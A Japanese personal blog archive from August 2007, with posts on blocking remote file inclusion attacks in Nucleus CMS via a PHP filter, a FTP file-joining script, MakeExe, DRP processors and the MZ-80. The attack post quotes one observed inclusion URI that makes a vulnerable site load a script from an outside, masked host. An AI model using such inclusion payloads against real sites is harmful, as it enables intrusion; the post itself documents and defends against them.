Jeans & Development:2007年 08月の記事

リモートファイルインクルードを阻止 [Nucleus]

2007年8月22日

先日、リモートファイルインクルードを狙った不正アクセスが多い件について書いた。これらの不正アクセスによるクラッキングは当然ながら失敗しているのだが、一日100件ほどあるこういった不正アクセスにサーバのリソースが消費されていることを考えると馬鹿馬鹿しいので、やはり対策をしたほうがいいだろう。

index.php の冒頭に、次のコードを挿入した。

if (isset($_REQUEST) and isset($_COOKIE)) {
    foreach($_COOKIE as $key=>$value) {
        if (isset($_REQUEST[$key])) unset($_REQUEST[$key]);
    }
}
$except=array('query','userid');
check_remote_inclusion($_REQUEST,$except);
function check_remote_inclusion(&$var,&$except){
    foreach($var as $key=>$value){
        if (in_array($key,$except)) continue;
        if (is_array($value)) check_remote_inclusion($value,$except);
        elseif (preg_match('!^[a-zA-Z]{1,5}://!',$value,$matches)) {
            echo '<html><head><title>ERROR</title><body>';
            echo 'Request cannot start from "'.htmlspecialchars($matches[0]).'".';
            echo '</body></html>';
            exit;
        }
    }
}
unset($except);

『http://』、『ftp://』、『php://』などで始まるリクエストをすべて排除する仕組み。ただし、『query=http://....』『userid=http://....』といったリクエストは例外的に受け付けるようにしてある。

(追記) 攻撃は、このサイトの他のブログにも向けられてきたので、すべてのブログに同じ措置を施した。

(追記 070901 コード改定)クッキー関連で不具合があったので、$_REQUEST から $_COOKIE を削除するルーチンを加えた。

MakeExeについて [プログラミング]

2007年8月21日

Vectorから配布されているMakeExeについて。

このツールは、VBScript/JScriptをexeファイル化するためのもので、2年ほど前に作成した。ネットサーフィンしていて気が付いたのだけれど、このツールを使うとVBScriptやJScriptのソースコードを隠蔽することが出来ると思っている利用者が、ずいぶん多いらしい。

MakeExeでは、残念ながらソースコードの隠蔽は出来ない。Notepadなどのエディタを用いて作成したEXEファイルを見ると、ソースコードが丸見えなので、注意。隠蔽したいときは、スクリプトエンコーダを使ってVBE/JSEファイルに変換した後、MakeExe する。

こんな記事を片田舎のブログに書いても、気が付かない人がほとんどだろうけれど…。

ファイル結合スクリプト [プログラミング]

2007年8月20日

FTPで100MBを超えるファイルをサーバにアップロードしようとしたところ、ファイルサイズ制限に引っかかったためアップロードできなかった。そこで、2つのファイルに分割してそれぞれをアップロードし、最後にこのスクリプトで結合した。また使うかもしれないので、メモ。

<html><body>
This script will be removed by itself if all will be done.<br />
<?php
$dest='yyyyyyyy.zip';
$files=array('xxxxxxxx-1.zip','xxxxxxxx-2.zip');
$h0=@fopen($dest,'x') or exit('ERROR'.__LINE__);
echo "Write to '$dest', handle=$h0<br />\n";
foreach($files as $file){
    $h1=@fopen($file,'r') or exit('ERROR'.__LINE__);
    echo "Read from '$file', handle=$h1";
    while (true) {
        if (strlen($d=fread($h1, 8192))==0) break;
        fwrite($h0,$d);
    } 
    fclose($h1);
    echo " ... done<br />\n";
}
fclose($h0);
echo "All done!</body></html>";
unlink(__FILE__);

DRPとは? [コンピューター・その他]

2007年8月15日

Dynamic Reconfigurable Processor の略らしい。

Pentium 4を上回る性能でASICやFPGAを駆逐
演算速度はPentium4の数10倍、消費電力は1/20以下

以前からFPGA(Field Programmable Gate Array)なるものの存在は知っていて、それ用に使う Verilog や VHDL といった言語を勉強しようかなと思っていた。FPGA は、一度回路を取り込むとリセットするまでは書き換えできないのであるが、この DRP はダイナミックに書き換えが出来るので、必要なところで必要な回路を瞬時(1クロック)に組んで実行するのであろう。何に使えるかというと、例えば理研の Spring-8 で X線の解析装置に用いられたそうで、計算速度が Pentium 4 を用いた従来の装置よりも数十倍早かったらしい。他には画像解析など、並列処理が求められるような分野が得意なのかなという気がする。メインのCPUにDRPを用いた汎用コンピューターもいずれは登場するのだろうか?

ファイルインクルードを狙ったクラック [Nucleus]

2007年8月7日

最近、Nucleusに対するこの手のアクセスが多い。例えば、今日 16:49:08 GMT から 19:08:14 GMT までの間に、17回の不正アクセスが4つのIPアドレスからあった。手口からすると、IP詐称でさまざまなアドレスからアクセスしてくるのでは無いらしい。Uset-Agent は、『libwww-perl/x.xx』で、PERL用のライブラリ。x.xxの部分はバージョンで、5.65 から、 5.808 までさまざまである。アクセスしてくる4つのアドレスは、バックドアを仕掛けられた4つのサーバに相当していて、クラッカーはこれらの乗っ取ったサーバを経由してアタックしてきているのではないかと思われる。

具体的なURIとしては、例えば
/index.php?body=http://xxx.xxx.com/larry123/safe.txt?
こんな感じ。

インクルードしようとするスクリプトはPHPで書かれているが、これについては、にっき - ほしにねがいをに、ある程度まとめられている。

今のところNucleusでの被害は起こりそうに無いけれど、プラグイン製作の際は当然ながらファイルインクルード系の命令には注意が必要だ。

MZ-80 パソコン開発物語 [General]

2007年8月6日

ネットサーフィンしていて見つけた、MZ-80K開発者のブログ。電子ブロック工房の方に記事をあげても良かったのだが、たまにはこちらのブログでこんなのもいいかなという事で…。

MZ-80 パソコン開発物語

いや~、懐かしい。注目は、『MZ80レプリカ製作』。ちょっとばかり、期待。もし販売になったときに、今住んでいる所から買えるのかどうか分からないけれど。記事で取り上げられているBASICインタープリタだけでも手に入れたい。これがあれば、自分でレプリカを作れる(というか、レプリカを作る意味がある)かも。

なぜMZ-80Kがセミキットだったのかという謎も、このブログを見て解決。なるほどぉ、そういうことがあったのかと。